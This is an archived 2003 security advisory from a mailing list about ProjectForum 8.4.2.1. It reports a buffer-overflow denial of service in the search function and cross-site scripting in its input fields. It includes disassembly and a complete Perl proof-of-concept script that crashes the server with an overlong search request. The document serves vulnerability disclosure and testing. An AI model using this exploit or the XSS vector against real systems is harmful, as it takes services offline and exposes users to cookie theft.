

[NT] ProjectForum Multiple Vulnerabilities

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-12/0076.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 12/22/03

To: list@securiteam.com

Date: 22 Dec 2003 15:53:55 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ProjectForum Multiple Vulnerabilities

SUMMARY

<<http://www.projectforum.com/projectforum/>> ProjectForum provides "a powerful but easy-to-use solution for flexible workgroup collaboration and coordination of projects and teams over the web". Two vulnerabilities have been discovered in the product, one allows remote attackers to cause the product to fail (DoS), and the other allows insertion of malicious HTML and/or JavaScript into existing web pages (viewed by third parties).

DETAILS

Vulnerable systems:

* ProjectForum version 8.4.2.1 and prior

Denial of Service Attack:

It is evident that there is a fault that lies within ProjectForum that can allow an attacker to cause the server application 'projectforum.exe' to crash and stop responding to requests from clients.

This can be triggered by sending an overly long 'find' request string to the server in question. The code, which is at fault within the application, is below (in sub procedure/function 0040C4A0...):

Securiteam: [NT] ProjectForum Multiple Vulnerabilities

```
:0040C4BA E891751400 Call 00553A50
:0040C4BF 8903 mov dword ptr [ebx], eax
:0040C4C1 8BCD mov ecx, ebp
:0040C4C3 C60001 mov byte ptr [eax], 01
:0040C4C6 8B3B mov edi, dword ptr [ebx]
:0040C4C8 8BD1 mov edx, ecx
:0040C4CA 83C702 add edi, 00000002
:0040C4CD C1E902 shr ecx, 02
:0040C4D0 F3A5 repz movsd
:0040C4D2 8BCA mov ecx, edx
```

At 0040C4D0 the 'repz movsd' instruction attempts to copy the string which was sent in the 'find' request through the website's search function (pointed to by the esi register) into the address space pointed to by the edi register.

No bounds checking is performed by this function, so it moves data repeatedly until it reaches an address which it is unable to read from, this causes the application to crash.

Cross Site Scripting:

The internal ProjectForum engine does not seem to make any effort to parse out dangerous characters that could enable an attacker to insert their own html code to be rendered with the privileges of the server. Dangerous outcomes to this could include the stealing of user cookies or the creation of a fake login page that may enable an attacker to trick the user giving out sensitive information.

There are many attack vectors for this flaw, including the input boxes in the administrator login page and the find function, and the error page.

The input box often needs to be escaped by prefixing the html code with a double quote and a greater-than symbol (">).

Note: testing has shown that CourseForum, a similar application which uses the same engine as ProjectForum, is also vulnerable to these attacks.

Proof of Concept Code:

Peter has provided a Denial of Service exploit that can be used to test your systems for this vulnerability.

```
##### [pfdos.pl] #####
```

```
#!/usr/bin/perl -w
```

```
#####
```

```
##
```

```
# ProjectForum 8.4.2.1 and below DoS Proof of Concept Code #
```

```
# by Peter Winter-Smith [peter4020@hotmail.com] #
```

```
##
```

```
#####
```

Securiteam: [NT] ProjectForum Multiple Vulnerabilities

```
use IO::Socket;

if(!($ARGV[1]))
{
print "\nUsage: pfdos.pl <victim> <port>\n" .
"\tdefault port is 3455\n\n";
exit;
}

$victim = IO::Socket::INET->new(Proto=>'tcp',
PeerAddr=>$ARGV[0],
PeerPort=>$ARGV[1])
or die "Unable to connect to $ARGV[0] " .
"on port $ARGV[1]";

$DoSpacket = " .
'POST /1/Search HTTP/1.1' . "\x0d\x0a" .
'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ' .
'application/x-gsarcade-launch, application/vnd.ms-excel, ' .
'application/vnd.ms-powerpoint, application/msword, ' .
'application/x-shockwave-flash, */*' . "\x0d\x0a" .
'Referer: http://localhost:3455/1/Search' . "\x0d\x0a" .
'Accept-Language: en-gb.Content-Type: application/x-www-form-' .
'-urlencoded' . "\x0d\x0a" .
'Accept-Encoding: gzip, deflate' . "\x0d\x0a" .
'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ' .
'xxxxxxxxxxxxxxxx' . "\x20" .
'1.0.5; .NET CLR 1.0.3705; .NET CLR 1.1.4322)' . "\x0d\x0a" .
'Host: localhost:3455' . "\x0d\x0a" .
'Content-Length: 6306' . "\x0d\x0a" .
'Connection: Keep-Alive' . "\x0d\x0a" .
'Cache-Control: no-cache' . "\x0d\x0a" . "\x0d\x0a" .
'q=' . 'a'x6292 . '&action=Find' . "\x0d\x0a";

print $victim $DoSpacket;

print " + Making Request ... \n + Server should be dead!! \n";

sleep(4);
close($victim);

print "Done.\n";
exit;
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:peter4020@hotmail.com>> Peter Winter-Smith.

=====

Securiteam: [NT] ProjectForum Multiple Vulnerabilities

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.